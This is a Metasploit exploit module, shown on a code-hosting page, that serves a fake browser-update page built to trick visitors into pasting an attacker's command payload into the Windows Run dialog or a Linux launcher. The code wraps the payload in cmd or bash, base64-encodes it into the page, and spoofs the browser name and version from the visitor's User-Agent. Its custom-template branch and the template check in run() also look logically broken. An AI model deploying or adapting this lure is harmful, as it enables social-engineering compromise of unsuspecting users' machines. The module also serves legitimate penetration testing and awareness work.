Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/clickfix_server.rb
74550 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'base64'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = ExcellentRanking
10
11
include Msf::Exploit::Remote::HttpServer
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'ClickFix Server',
18
'Description' => %q{
19
This creates a Web Server which hosts a ClickFix type exploit.
20
When a user visits the site they are given instructions on pasting
21
our payload into a run dialog.
22
23
When using a custom html page, please use INSERT_PAYLOAD_HERE as the
24
spot to put the generated payload in.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'h00die', # msf module
29
'boredchilada' # clickfix template inspiration
30
],
31
'References' => [
32
['URL', 'https://www.hhs.gov/sites/default/files/clickfix-attacks-sector-alert-tlpclear.pdf'],
33
['URL', 'https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/'],
34
['URL', 'https://github.com/boredchilada/clickfix-simulator-2025'],
35
['URL', 'https://www.recordedfuture.com/research/clickfix-campaigns-targeting-windows-and-macos']
36
],
37
'Payload' => {
38
'Space' => 245, # Reserve room for wrapper so final command fits Run dialog max
39
'DisableNops' => true
40
},
41
'Arch' => [ARCH_CMD],
42
'Stance' => Msf::Exploit::Stance::Passive,
43
'Passive' => true,
44
'Targets' => [
45
['Windows', { 'Platform' => 'win' }],
46
['Linux', { 'Platform' => ['linux', 'unix'] }]
47
],
48
'DisclosureDate' => '2023-01-01',
49
'DefaultTarget' => 0,
50
'Notes' => {
51
'AKA' => ['ClickFix', 'ClearFake', 'Fake Update', 'CrashFix'],
52
'Stability' => [CRASH_SAFE],
53
'SideEffects' => [],
54
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT]
55
}
56
)
57
)
58
# set the default port, and a URI that a user can set if the app isn't installed to the root
59
register_options(
60
[
61
OptPort.new('SRVPORT', [true, 'Web Server Port', 80]),
62
OptEnum.new('TEMPLATE', [ true, 'Template style to use', 'auto', %w[auto custom]]),
63
OptPath.new('CUSTOM', [false, 'Custom Template Path', ''], conditions: ['TEMPLATE', '==', 'custom'])
64
]
65
)
66
end
67
68
def on_request_uri(cli, request)
69
if request.method == 'GET'
70
user_agent = request['User-Agent']
71
print_status("Request #{request.uri} from #{user_agent}")
72
# get our payload stubbed
73
if target.name == 'Windows'
74
p_load = payload.encoded.gsub(' start /B', '') # 'start /B' only works on cmd, not in the run dialog box
75
p_load = "cmd /c \"#{p_load}\"" # run command dialog can't use & so we wrap in cmd
76
else
77
# Linux Application Finder can't have ; so wrap it in bash
78
p_load = "bash -c \"#{payload.encoded}\""
79
end
80
case datastore['TEMPLATE']
81
when 'custom'
82
template = ::File.read(::File.read(datastore['CUSTOM'], mode: 'rb'))
83
template.gsub!('INSERT_PAYLOAD_HERE', Base64.strict_encode64(p_load))
84
send_response(cli, ::File.read(datastore['CUSTOM'], mode: 'rb'))
85
else
86
template = ::File.read(File.join(Msf::Config.data_directory, 'exploits', 'clickfix', 'browser_update.html'))
87
template.gsub!('INSERT_PAYLOAD_HERE', Base64.strict_encode64(p_load))
88
if user_agent =~ %r{Edg/}
89
version = user_agent.match(%r{Edg/([\d.]+)})
90
template.gsub!('120.0.6099.0', version[1]) if version
91
template.gsub!('Google Chrome', 'Microsoft Edge')
92
template.gsub!('Chrome', 'Edge') if version
93
elsif user_agent =~ /Chrome/
94
version = user_agent.match(%r{Chrome/([\d.]+)})
95
template.gsub!('120.0.6099.0', version[1]) if version
96
elsif user_agent =~ /Firefox/
97
version = user_agent.match(%r{Firefox/([\d.]+)})
98
template.gsub!('120.0.6099.0', version[1]) if version
99
template.gsub!('Google Chrome', 'Mozilla Firefox')
100
template.gsub!('Chrome', 'Firefox') if version
101
else
102
# assume chrome based on marketshare
103
fake_version = "#{rand(201..400)}.0.#{rand(1000..9999)}.0"
104
template.gsub!('120.0.6099.0', fake_version)
105
end
106
send_response(cli, template)
107
end
108
end
109
end
110
111
def run
112
if datastore['TEMPLATE'] == 'custom' && File.exist?(datastore['CUSTOM'])
113
fail_with(Failure::BadConfig, "Custom template path not found: #{datastore['CUSTOM']}")
114
end
115
exploit # start http server
116
end
117
end
118
119